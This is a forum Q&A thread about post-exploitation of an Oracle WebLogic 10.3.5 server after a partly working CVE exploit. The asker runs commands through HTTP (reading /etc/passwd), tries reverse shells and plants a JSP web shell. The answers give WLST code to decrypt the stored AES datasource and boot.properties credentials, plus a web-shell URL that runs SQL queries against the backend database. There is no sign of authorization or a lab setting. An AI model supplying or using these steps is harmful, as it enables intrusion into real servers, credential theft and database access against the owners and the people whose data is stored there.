Post Exploitation in Oracle web logic server 10.35 (Oracle Linux Server 3.8)

Question

Web Server : Oracle WebLogic 10.35

Machine : Oracle Linux Server 3.8

I was able to partially exploit this CVE. I can execute any command on server using HTTP request and redirecting its output to a file i.e

cat /etc/passwd > /tmp/success

Then I use a legit endpoint of server to read /tmp/success . I can't establish a reverse shell. I tried different ways to establish it using java, bash, netcat but I think there is some kind of firewall on server, so I cant establish reverse shell. Any error on bash does not get redirected to file. Pings are successful but I cant make curl request and I dont get any type output of any error so I cant know what is the error.

If I cant get reverse shell then I want to upload a web shell, to access database but the problem is I am not familiar with Oracle and java. I found some files in subdirectories

/u01/app/oracle/product/Middleware/Weblogic1035/user_projects/domains/base_domain/

but these files contains encrypted passwords like

 <jdbc-data-source xmlns="http://xmlns.oracle.com/weblogic/jdbc-data-source" xmlns:sec="http://xmlns.oracle.com/weblogic/security" xmlns:wls="http://xmlns.oracle.com/weblogic/security/wls" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.oracle.com/weblogic/jdbc-data-source http://xmlns.oracle.com/weblogic/jdbc-data-source/1.0/jdbc-data-source.xsd">
  <name>mineDS</name>
  <jdbc-driver-params>
    <url>jdbc:oracle:thin:@172.23.1.88:1521:MINER</url>
    <driver-name>oracle.jdbc.OracleDriver</driver-name>
    <properties>
      <property>
        <name>user</name>
        <value>admadmin</value>
      </property>
    </properties>
    <password-encrypted>{AES}xMasyA7ZkGps2vmudMphn+Esp9wad4eJJGMm7A2Ebmo=</password-encrypted>
  </jdbc-driver-params>
</jdbc-data-source>

Server has used ear file which I found in

   /u01/app/oracle/product/Middleware/Weblogic1035/user_projects/domains/base_domain/servers/AdminServer/upload/XXX/app/XXX.ear
  /u01/app/oracle/product/Middleware/Weblogic1035/user_projects/domains/base_domain/servers/AdminServer/upload/XXX/Plan.xml

How can I upload my own webshell with database connection?

Update

I found a way to upload web shell, by writing a jsp page in

  /u01/app/oracle/product/Middleware/Weblogic1035/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/

webshell works fine, only problem remains is how can I connect with database?

Answer 1

If you are able to upload a web shell then you can easily decrypt password. Make a decrypt.py file in server with following content:

domain = "/u01/app/oracle/product/Middleware/Weblogic1035/user_projects/domains/base_domain"
service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)" 
encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)" 
print "Decrypted Password is: " + encryption.decrypt("{AES}xMasyA7ZkGps2vmudMphn+Esp9wad4eJJGMm7A2Ebmo=")

then find path to wlst.sh in server, wlst is a part of oracle weblogic server, in your case it will be most probably in :

    /u01/app/oracle/product/Middleware/Weblogic1035/oracle_common/common/bin/wlst.sh

now use following command:

 /full/path/to/wlst.sh /full/path/to/decrypt.py

this will give you decrypted password. You can also decrypt username and password in boot.properties file using same method. you can find it but in your case it will be most probably in

    /u01/app/oracle/product/Middleware/Weblogic1035/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties

Now after you decrypt password, use oracle-webshell.jsp from this repositry Java Web Shell

upload or write this this oracle-webshell.jsp on server, you can use it like

  http://target-ip:port/oracle-webshell.jsp?u=jdbc:oracle:thin:@172.23.1.88:1521:MINER&n=admadmin&p=decrypted-password&q=SELECT * FROM all_tables

Answer 2

As far as I can tell you should be able to reuse the details assuming you're running in the same context since the webserver is already able to use the connection.

However, if you wanted to recover the plaintext password, the steps are roughly:

1. Copy the password from the boot.properties file in the path $WLS_MIDDLEWARE_DOMAIN/user_projects/domains/servers/AdminServer/security/boot.properties
2. Change the directory in the terminal to the weblogic domain directory of which password is to be decrypted: cd $WLS_MIDDLEWARE_DOMAIN/user_projects/domains/

And then you can decrypt the AES string using the python library weblogic.security.internal.encryption.ClearOrEncryptedService

For the full details and decrypting code you can check out: https://knowledgehubgroup.wordpress.com/2018/04/02/how-to-decrypt-password-of-weblogic-11g-admin-console-from-any-path-in-the-terminal/